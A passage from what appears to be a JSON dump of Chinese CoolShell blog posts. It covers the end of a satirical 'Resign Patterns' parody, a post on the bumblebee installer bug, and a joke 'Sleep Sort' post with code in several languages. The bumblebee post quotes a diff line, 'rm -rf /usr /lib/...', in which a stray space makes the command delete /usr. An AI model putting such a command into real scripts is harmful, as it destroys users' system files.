|<span style=\"color: #999999;\"> Singleton 单例模式</span></strong></h5>\n<p style=\"text-align: justify;\">Simpleton 模式，是把一个终极复杂的模式用于那些最最没有价值的工作上。这个模式精确地指出了人员的能力程度。</p>\n<p style=\"text-align: justify;\"> </p>\n<h4 style=\"text-align: left;\"><strong>2. Destructural Patterns 无结构模式 | </strong><span style=\"color: #999999;\">Structural patterns  结构模式</span></h4>\n<p style=\"text-align: left;\">下面是七个经典的变性模式</p>\n<h5 style=\"text-align: left;\"><strong>2.1 Adopter 领养者模式 |<span style=\"color: #999999;\"> Adapter 适配器模式</span></strong></h5>\n<p style=\"text-align: justify;\">Adopter模式提供了一个给那些“孤儿函数”的家。这这些函数和整个大家族别的函数看上去一点也不一样，他们和整个家族的唯一联系就是通过我们的Adopter。</p>\n<h5 style=\"text-align: left;\"><strong>2.2 Brig 监狱模式 | <span style=\"color: #999999;\">Bridge 桥接模式</span></strong></h5>\n<p style=\"text-align: left;\">Brig 模式也就是那些坏代码的容器类。这就是众所周知的软件模块。</p>\n<h5 style=\"text-align: left;\"><strong>2.3 Compromise 妥协模式 | <span style=\"color: #999999;\">Composite 合成模式</span></strong></h5>\n<p style=\"text-align: justify;\">Compromise 模式主要用来平衡软件开发的工期和质量。 使用这个模式的结果是——劣质的软件 + 延误的工期。</p>\n<h5 style=\"text-align: left;\"><strong>2.4 Detonator 地雷模式 | <span style=\"color: #999999;\">Decorator 修饰模式</span></strong></h5>\n<p style=\"text-align: justify;\">Detonator 模式是极其普通的，在程序中放置一些不易查觉的地雷。一个常见的经典示例是只用两位数来表示年份。这个炸弹已经暴露出来了，并在那等着爆炸！（陈皓注：作者这里说的是千年虫问题，本文写在1997年）</p>\n<h5 style=\"text-align: left;\"><strong>2.5 Fromage 干酪模式 | <span style=\"color: #999999;\">Facade 外观模式</span></strong></h5>\n<p style=\"text-align: justify;\">Fromage 模式让软件看上去满是漏洞。 Fromage 模式让我们的软件像Cheesy（芝士，也有劣质的意思）一样，有大量的奇淫巧技让你的软件没有任何一点可移值性。这个模式和奶酪一样，越是老越是香啊。</p>\n<h5 style=\"text-align: left;\"><strong>2.6 Flypaper 捕蝇纸模式 | <span style=\"color: #999999;\">Flyweight 享元模式</span></strong></h5>\n<p style=\"text-align: justify;\">Flypaper 模式的意思是，代码是由设计的人完成，而由另一个人维护。维护着这个模式的那个写代码的人发现自己被粘住了，而且很有可能在软件失支控制前夭折。</p>\n<h5 style=\"text-align: left;\"><strong>2.7 ePoxy 沥清模式 |<span style=\"color: #999999;\"> Proxy 代理模式</span></strong></h5>\n<p style=\"text-align: justify;\">ePoxy 模式主旨把软件的模式紧密地耦合在一起。随着耦合模块的增加，我们就可以看到沾粘它们的沥清。</p>\n<h4><strong>3. Misbehavioral Patterns 行为不检模式| Behavioral Patterns 行为模式</strong></h4>\n<p>下面是11个行为不检点模式</p>\n<h5><strong>3.1 Chain of Possibilities 可能性链模式 | <span style=\"color: #999999;\">Chain of responsibility 责任链模式</span></strong></h5>\n<p style=\"text-align: justify;\">Chain of Possibilities 模式主旨是创造肥大的，拙劣文档的软件模块。没有人知道其功能有多宽泛，其可能性永无止境。也就是我们所说的——无确定性。</p>\n<h5><strong>3.2 Commando 突击队模式 | <span style=\"color: #999999;\">Command 命令模式</span></strong></h5>\n<p style=\"text-align: justify;\">Commando 模式主旨是用来应付工作，让事情快点完成。这个模式不管封装，只图快快把代码写完。反正不犯法。</p>\n<h5><strong>3.3 Intersperser 散布模式| <span style=\"color: #999999;\">Interpreter 解释器模式</span></strong></h5>\n<p style=\"text-align: justify;\">Intersperser 模式把一个功能的代码散布在系统的各个地方，其可以让功能无法被测试，修改，以及让人读懂。(陈皓注：这让我想起了以前VB，PB和Delphi的开发，功能的逻辑代码散步在各个组件的不同事件中)</p>\n<h5><strong>3.4 Instigator 煽动模式| <span style=\"color: #999999;\">Iterator 迭代器模式</span></strong></h5>\n<p>Instigator 模式看上去是良性的，但是其却大规模的以暴力的方式在破坏软件系统。（陈皓注：作者没有做过多的解释，不过，我想到了<a href=\"https://coolshell.cn/articles/3008.html\" target=\"_blank\" title=\"Windows编程革命简史\">Windows编程革命史</a>，应该说的就是这个吧）</p>\n<h5><strong>3.5 Momentum 冲击模式| <span style=\"color: #999999;\">Memento 备忘模式</span></strong></h5>\n<p style=\"text-align: justify;\">Momentum模式让软件大小，内存，CPU，和复杂度成极数级成长。（陈皓注：作者对此没做过多解释，这个特性很像Windows操作系统，每个Windows 的新版本，无论是在尺寸，内存和CPU要求上，和复杂度上都会比上一版有极数级的提高）</p>\n<h5><strong>3.6 Medicator 用药模式|<span style=\"color: #999999;\"> Mediator 媒介模式</span></strong></h5>\n<p>Medicator 模式是一个实时的屠夫一样，其把其它的系统搞得就像被打过强力镇静剂一样没有反应。</p>\n<h5><strong>3.7 Absolver 免责模式| <span style=\"color: #999999;\">Observer 观察者模式</span></strong></h5>\n<p style=\"text-align: justify;\">Absolver模式表现于那些被以前员工开发的代码的问题。对于现任员工，其可以因为很多代码里历史上的问题而免除被批评，其声称其对软件中的任何问题都不负责。这也是我们从所周知的——“这不是我的代码”。（参看：<a href=\"https://coolshell.cn/articles/1174.html\" target=\"_blank\" title=\"程序员惯用的解释(Top 25)\">程序员的借口</a>）</p>\n<h5><strong>3.8 Stake 利害关系模式 | <span style=\"color: #999999;\">State 状态模式</span></strong></h5>\n<p style=\"text-align: justify;\">Stake 模式表现于那些被现已成为经理的人写的代码中的各种问题。虽然这些问题很不爽，但是经理们在这个软件里的利害关系太高了，所以，不能让任何人重写，因为这代表着我们经理的技术成就。</p>\n<h5><strong>3.9 Eulogy 颂歌模式 | <span style=\"color: #999999;\">Strategy策略模式</span></strong></h5>\n<p style=\"text-align: justify;\">Eulogy 模式存在于所有的项目中，也就是 Post-Mortem(事后总结分析会)。</p>\n<h5><strong>3.10 Tempest Method 暴风雨模式| <span style=\"color: #999999;\">Template Method 模板方法</span></strong></h5>\n<p style=\"text-align: justify;\">Tempest Method 主要用在软件快要发布的最后几天。这个模式的物征是，代码中没有注释，并有使用了好几个Detonator Pattern 地雷模式。</p>\n<h5><strong>3.11 Visitor From Hell 地狱访问者模式 | <span style=\"color: #999999;\">Visitor 访问者模式</span></strong></h5>\n<p style=\"text-align: justify;\">Visitor From Hell 模式一般是在运行时没有检查数组越界的一个巧合。这样一来，我们系统就可以实现Visitor From Hell 模式，因为这样可以造成重要数据的重写。</p>\n<h4 style=\"text-align: left;\"><span style=\"font-size: x-small;\">参考</span></h4>\n<ul>\n<li><span style=\"font-size: x-small;\">[1] Gamma, E., Helm, R., Johnson, R., Vlissides, J., Design Patterns – </span><span style=\"font-size: x-small;\">Elements of Reusable Object-Oriented Software. Addison-Wesley, 1995.</span></li>\n</ul>\n<ul>\n<li><span style=\"font-size: x-small;\">[2] Michael Duell is an Engineer at AG Communication Systems, where his </span><span style=\"font-size: x-small;\">Resign Patterns have been rejected in favor of the Gang </span><span style=\"font-size: x-small;\">of Four Design Patterns.</span></li>\n</ul>\n<ul>\n<li><span style=\"font-size: x-small;\">[3] “Resign Patterns: Ailments of Unsuitable Project-Disoriented Software,” </span><span style=\"font-size: x-small;\">The Software Practitioner, Vol. 7, No. 3, May-June 1997, p. 14.</span></li>\n</ul>\n<p style=\"text-align: left;\"><span style=\"font-size: x-small;\"> </span></p>\n<p style=\"text-align: left;\"><span style=\"font-size: x-small;\"> </span></p>\n<div style=\"text-align: left;\"><span style=\"font-size: x-small;\">（全文完）</span></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4844.html\">“另类” 设计模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-6-20 一个空格引发的惨剧.html",
    "content": "<html><body><p>你是否相信如果你的程序里没有检查一个变量会导致怎么系统瘫痪？无论你相不相信，这是我一个亲身经历过的案例，你可以在本站的<a href=\"https://coolshell.cn/articles/3980.html\" target=\"_blank\" title=\"程序员那些悲催的事儿\">程序员那些悲催的事儿</a>中找到很多这样的事。这样的事昨天在发生，今天同样在发生。<a href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\" title=\"Unix传奇(上篇)\">Unix40多年</a>了，在这40年里，程序员发生过各种各样的的惨剧，但是大多数的事情一而再再而三的重演。</p>\n<p>今天的你，可能在开发者各种各样NB的系统，你会相信你的一个空格也能导致系统瘫痪吗？也许你可能很难相信这个事。不过，再下面这个事将告诉你这个血淋淋的事实 —— 一个空格产生的bug可以让你的系统瘫痪。</p>\n<p><a href=\"https://github.com/MrMEEE/bumblebee\">bumblebee</a>是一个开源项目，这个名字也就是变形金刚里的大黄蜂，这个项目是这样介绍自己的——</p>\n<blockquote><p>bumblebee is Optimus support for Linux, with real offloading, and not switchable graphics.. More important.. it works on Optimus Laptops without a graphical multiplexer..</p></blockquote>\n<p>Optimus 是NVIDIA的“优驰”技术，其可以将您的笔记本电脑PC提升到绝佳状态，提供出色的图形性能，并在需要时延长电池续航时间。这个项目是把这个技术移到Linux上来。</p>\n<p>这个项目本来不出名，不过，程序在其安装脚本install.sh里的一个bug让这个项目一下子成了全世界最瞩目的项目，这个bug的fix如下：</p>\n<pre class=\"EnlighterJSRAW\">@@ -348,7 +348,7 @@ case \"$DISTRO\" in\n-  rm -rf /usr /lib/nvidia-current/xorg/xorg\n+  rm -rf /usr/lib/nvidia-current/xorg/xorg</pre>\n<p>看明白了吗？<strong>空格</strong>。这个空格会导致什么样的问题呢？呵呵。你有没有感到菊花一紧？这个bug绝对的霸气外露！真是验证了<a href=\"https://coolshell.cn/articles/4758.html\" target=\"_blank\" title=\"如何写出无法维护的代码\">“如何写出无法维护代码</a>”的那句话——“<strong>测试你的程序是一种懦夫的行为</strong>”。</p>\n<p>不过，最精彩还不是这个bug，而是全世界程序员的对这个bug 的 code review comments，真的相当的欢乐。请强势围望！</p>\n<p><span id=\"more-4875\"></span></p>\n<p style=\"text-align: center;\"><a href=\"https://github.com/MrMEEE/bumblebee/commit/a047be85247755cdbe0acce6#diff-1\">https://github.com/MrMEEE/bumblebee/commit/a047be85247755cdbe0acce6#diff-1</a></p>\n<p style=\"text-align: left;\">重点是其中的很多图片——下面的图片众多。</p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115950761.gif\"><img alt=\"clip_image001\" height=\"275\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115951113.gif\" title=\"clip_image001\" width=\"500\"/></a></p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062012551463.jpg\"/></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115950761.gif\"><br/>\n</a></p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062012574297.jpg\"/></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115951580.jpg\"><img alt=\"clip_image002\" border=\"0\" height=\"302\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115951524.jpg\" title=\"clip_image002\" width=\"292\"/></a></p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062012590122.jpg\"/></p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013022333.jpg\"/></p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013033063.jpg\"/></p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013042755.jpg\"/></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115954514.jpg\"><img alt=\"clip_image007\" border=\"0\" height=\"455\" src=\"http://pic003.cnblogs.com/2011/34358/201106/2011062011595582.jpg\" title=\"clip_image007\" width=\"406\"/></a></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115958341.jpg\"><img alt=\"clip_image010\" border=\"0\" height=\"299\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115958644.jpg\" title=\"clip_image010\" width=\"401\"/></a></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115958163.jpg\"><img alt=\"clip_image011\" border=\"0\" height=\"404\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115959784.jpg\" title=\"clip_image011\" width=\"408\"/></a></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115959641.jpg\"><img alt=\"clip_image012\" border=\"0\" height=\"401\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120001976.jpg\" title=\"clip_image012\" width=\"400\"/></a></p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013060775.jpg\"/></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120001777.gif\"><img alt=\"clip_image014\" border=\"0\" height=\"463\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120001634.gif\" title=\"clip_image014\" width=\"400\"/></a></p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013073049.jpg\"/></p>\n<p style=\"text-align: center;\"><img alt=\"\" border=\"0\" height=\"360\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120002955.gif\" width=\"480\"/></p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013083437.jpg\"/></p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013090259.jpg\"/></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120002899.jpg\"><img alt=\"clip_image016\" border=\"0\" height=\"384\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120002202.jpg\" title=\"clip_image016\" width=\"512\"/></a></p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013110568.jpg\"/></p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013121496.jpg\"/></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120002666.jpg\"><img alt=\"clip_image019\" border=\"0\" height=\"804\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120002718.jpg\" title=\"clip_image019\" width=\"397\"/></a></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120003129.jpg\"><img alt=\"clip_image020\" border=\"0\" height=\"488\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120003540.jpg\" title=\"clip_image020\" width=\"594\"/></a></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/2011062012000453.jpg\"><img alt=\"clip_image021\" border=\"0\" height=\"290\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120004356.jpg\" title=\"clip_image021\" width=\"400\"/></a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013135533.jpg\"/></p>\n<p style=\"text-align: left;\">(全文完)</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11432.html\"><img alt=\"从Code Review 谈如何做技术\" height=\"150\" src=\"../wp-content/uploads/2014/04/code_review-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11432.html\">从Code Review 谈如何做技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5201.html\"><img alt=\"重构代码的7个阶段\" height=\"150\" src=\"../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5201.html\">重构代码的7个阶段</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4758.html\"><img alt=\"如何写出无法维护的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3005.html\"><img alt=\"代码重构的一个示例\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3005.html\">代码重构的一个示例</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4875.html\">一个空格引发的惨剧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-6-23 排序算法 Sleep Sort.html",
    "content": "<html><body><p>排序算法好像是程序员学习编程最多的算法，也可能是算法研究者们最喜欢研究的算法了。排序有很多很多的算法，比如，冒泡，插入，选择，堆，快速，归并等等（你可以看看本站以前的那些文章：<a href=\"https://coolshell.cn/articles/3933.html\" target=\"_blank\" title=\"可视化的排序过程\">可视化的排序</a>，<a href=\"https://coolshell.cn/articles/399.html\" target=\"_blank\" title=\"一个排序算法比较的网站\">排序算法比较</a>，<a href=\"https://coolshell.cn/articles/536.html\" target=\"_blank\" title=\"一个显示排序过程的Python脚本\">显示排序过程的python</a>）这里向大家介绍一个“巨NB”的排序算法——Sleep Sort。</p>\n<p>闲言少说，请看下面的代码（用Shell脚本写的）</p>\n<pre class=\"EnlighterJSRAW\">#!/bin/bash\nfunction f() {\n    sleep \"$1\"\n    echo \"$1\"\n}\nwhile [ -n \"$1\" ]\ndo\n    f \"$1\" &amp;\n    shift\ndone\nwait</pre>\n<p>用法如下：</p>\n<p style=\"padding-left: 30px;\">./sleepsort.bash 5 3 6 3 6 3 1 4 7</p>\n<p>相信你可以会去试一下这个脚本，也相你你试完后你一定会说——“<strong>我擦，真TMD排序了！</strong>”，我还是不要解释这段代码了，过多的解释会不如代码那么直接，而且解释会影响你对这个排序算法的NB性。只想说——<strong>这是正二八经的多线程、多进程排序啊</strong>。我们的<a href=\"https://coolshell.cn/articles/3933.html\" target=\"_blank\" title=\"可视化的排序过程\">Bogo排序</a>也黯然失色啊。</p>\n<p>下面我们需要对这个算法做一些分析——</p>\n<p><span id=\"more-4883\"></span>1）让我们来分析一个这这个程序的算法复杂度，太简单了，不就是O(最大数的秒数)，呵呵。所以，如果出现这样的数列将是恶梦的——2 1 4 3 2 1 99999999</p>\n<p>2）这个排序好是好，但对于负数或浮点数就有bug了。负数的解决方案是，我们可以这样来：x/2+MaxInt/2（时间可能相当长，不过依然工作）。对于浮点数，看看下面的代码.</p>\n<pre class=\"EnlighterJSRAW\">#!/bin/bash\nfunction f() {\n  sleep $(echo \"($2 - 1) + $1 / 10 ^ $2\" | bc -l)\n  echo \"$1\"\n}\nwhile [ -n \"$1\" ]\ndo\n  f \"$1\" $(echo -n \"$1\" | wc -c) &amp;\n  shift\ndone\nwait</pre>\n<p>3）我们来看看各种语言版本的实现吧。<br/>\n<strong>Java</strong></p>\n<pre class=\"EnlighterJSRAW\">public class SleepSort {\n    public static void main(String[] args) {\n        int[] ints = {1,4,7,3,8,9,2,6,5};\n        SortThread[] sortThreads = new SortThread[ints.length];\n        for (int i = 0; i &lt; sortThreads.length; i++) {\n            sortThreads[i] = new SortThread(ints[i]);\n        }\n        for (int i = 0; i &lt; sortThreads.length; i++) {\n            sortThreads[i].start();\n        }\n    }\n}\nclass SortThread extends Thread{\n    int ms = 0;\n    public SortThread(int ms){\n        this.ms = ms;\n    }\n    public void run(){\n        try {\n            sleep(ms*10+10);\n        } catch (InterruptedException e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n        }\n        System.out.println(ms);\n    }\n}</pre>\n<p><strong>Javascript</strong></p>\n<p>[javascript]function sleepsort() {<br/>\n    for (var i = 0, il = arguments.length; i &lt; il; i++) {<br/>\n        (function(args, index) {<br/>\n            setTimeout(function() {<br/>\n                document.body.innerHTML += args[index] + ‘, ‘;<br/>\n            }, args[index]);<br/>\n        }(arguments, i));<br/>\n    }<br/>\n};<br/>\n[/javascript]</p>\n<p><strong>Brainfuck </strong>(关于这门语言，请<a href=\"https://coolshell.cn/articles/4458.html\" target=\"_blank\" title=\"BT雷人的程序语言（大全）\">参看这篇文章</a>)</p>\n<p><code>,&gt;,&gt;++++++++[&lt;------&lt;------&gt;&gt;-]<br/>\n&lt;&lt;[&gt;[&gt;+&gt;+&lt;&lt;-]&gt;&gt;[&lt;&lt;+,&gt;,&gt;++++++++[&lt;------&lt;------&gt;&gt;-]<br/>\n&lt;&lt;[ ----------[++++++++++&gt;----------]++++++++++<br/>\n&gt;[&gt;+&gt;+&lt;&lt;-]&gt;&gt;[&lt;&lt;+&gt;&gt;-]&lt;&lt;&lt;-]  &gt;&gt;&gt;++++++[&lt;++++++++&gt;-]&lt;.&gt;.&gt;&gt;-]&lt;&lt;&lt;-]<br/>\n,----------[----------------------.,----------]<br/>\n,---&lt;&lt;&lt;+&gt;&gt;&gt;-------[----------------------.,----------]<br/>\n&gt;&gt; ----------[++++++++++&gt;----------]++++++++++<br/>\n&gt;++++++[&lt;++++++++&gt;-]&lt; ----------[++++++++++&gt;----------]++++++++++<br/>\n.&gt;. ----------[++++++++++&gt;----------]++++++++++<br/>\n&gt;++&gt;+&lt;&lt;-]&gt;&gt;[&lt;&lt;+&gt;&gt;-]&lt;&lt;&lt;-]  &gt;&gt;[&gt;[&gt;+&gt;+&lt;&lt;-]&gt;&gt;[&lt;&lt;----------[++++++++++&gt;----------]++++++++++<br/>\n&gt;++,&gt;,&gt;++++++++[&lt;------&lt;------&gt;&gt;-]<br/>\n&lt;&lt;</code></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17225.html\"><img alt=\"Cuckoo Filter：设计与实现\" height=\"150\" src=\"../wp-content/uploads/2015/08/cuckoo-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17225.html\">Cuckoo Filter：设计与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11832.html\"><img alt=\"【活动】解迷题送礼物\" height=\"150\" src=\"../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11832.html\">【活动】解迷题送礼物</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10590.html\"><img alt=\"二维码的生成细节和原理\" height=\"150\" src=\"../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10590.html\">二维码的生成细节和原理</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10427.html\"><img alt=\"伙伴分配器的一个极简实现\" height=\"150\" src=\"../wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg\" 